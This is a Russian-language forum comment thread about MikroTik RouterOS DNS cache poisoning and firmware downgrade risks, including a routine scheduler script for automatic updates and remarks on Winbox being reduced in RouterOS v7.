                                                                              Насколько я понял, это не совсем так. Отравить кеш может неавторизованный пользователь. А вот провести апгрейд/даунгрейд — только авторизированный.
                                                                                0
                                                                                Совершенно верно. В тот момент когда Вы это писали я расширил свой комментарий, добравшись до компа (предыдущий писал по быстрому с мобилы).
                                                                                  0
                                                                                  Тут просто в самом изначальном посте всё смешалось.
                                                                                  На самом-то деле тут сразу несколько уязвимостей было, позволяющих отравить кеш не авторизованному пользователю и позволяющих заливать неподписанные пакеты.
                                                                                  Вектор атаки показанный на видео в жизни конечно маловероятен. Разве что ещё социальную инженерию сюда подключить. Типа «Алло, это сисадмин? Я ваш кеш отравил, накатите плиз свежую прошивочку по быстрому!».
                                                                                  Но и по отдельности эти уязвимости тоже мало приятны.
                                                                              0

                                                                              Все равно на уязвимость, по сравнению с апрельсой 0day 2018 это меркнет, но если хотябы 1% всех 'горе владельцев' уберут эту чертову галочу с allow remote request уже будет отлично.

                                                                                0
                                                                                Толи я дурак толи лыжи не едут.
                                                                                Теперь если с помощью Winbox поискать example.com то можно увидеть что DNS-кеш маршрутизатора отравлен.

                                                                                Ок, допустим. Для клиентов сети нехорошо будет, но в целом не смертельно с учетом https и т.д.
                                                                                Атакующий воссоздает логику сервера обновлений, включая changelog и заставляет RouterOS воспринять устаревшую (уязвимую) версию как актуальную.

                                                                                Допустим да, сможет обмануть контроль версий микротика, но
                                                                                произвести даунгрейд или бэкпортирование версии RouterOS.

                                                                                С какой стати микротик будет сам «обновляться»? Такого функционала никогда там не было. Чтобы «обновить» прошивку нужно залогиниться и ручками прописать «update» или кликнуть по одноименной кнопке.
                                                                                  0
                                                                                  Не помню точно. По моему с 6.43 появился. System — Auto upgrade.
                                                                                  Upd. Оказывает обязательно выполнить или скрипт или команду.
                                                                                    0
                                                                                    Прямо встроенного выделенной функцией нету, но есть планировщик и скрипты:
                                                                                    /system scheduler
                                                                                    add interval=1d name=autoupdate on-event="/system package update\r\
                                                                                    \ncheck-for-updates once\r\
                                                                                    \n:delay 1s;\r\
                                                                                    \n:if ( [get status] = \"New version is available\") do={ install }" policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=04:00:00
                                                                                    /system routerboard settings
                                                                                    set auto-upgrade=yes silent-boot=yes

                                                                                    Но в местах, где нужна работа 24/7, я бы всё-таки вручную обновлял — на случай, если выпустят кривое обновление.
                                                                                      0
                                                                                      Так там же можно указать с какого источника брать обнову. Оттестил залил. И все микроты сами растащили все.
                                                                                        0
                                                                                        Для обновления бутлодера вы предлагаете дождаться следующей перезагрузки?
                                                                                          0
                                                                                          Все (почти) ругают windows 10 за то что сама обновляется и приносит косяки, а тут, где железка сама не обновляется, все стараются чтобы она сама обновлялась =/. ну ССЗБ имхо.
                                                                                        0
                                                                                        Так можно же не обновляться с кнопки, а скачать прошивку и закинуть на микрот руками
                                                                                          0
                                                                                          Не рискнул вмешаться в дискуссию выше «Winbox vs CLI», но в RouterOS v7 (хоть и бета):
                                                                                          -) Winbox does not show all features, use CLI for most functionality
                                                                                          Сам я не смотрел, насколько урезали Winbox. Похоже, в Mikrotik устали от уязвимостей Winbox, поэтому, возможно, плавно отходят от его использования. Хотя, я думаю, для домашних пользователей могут оставить базовые настройки через него.
                                                                                            0

                                                                                            Убрали торренты в предыдущей бете, добавили openvpn udp, урезали winbox. Ещё железо подтянуть и неплохо бы туда Debian в базе поставить и все встанет на свои места.

                                                                                              0
                                                                                              Это недоработки, будет исправлено далее. К слову, и сейчас WB не показывает все функции через стандартные панели, приходится использовать терминал или SSH. Например, обновление LTE-модема, WOL, speed-test.

                                                                                            Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                                                            Самое читаемое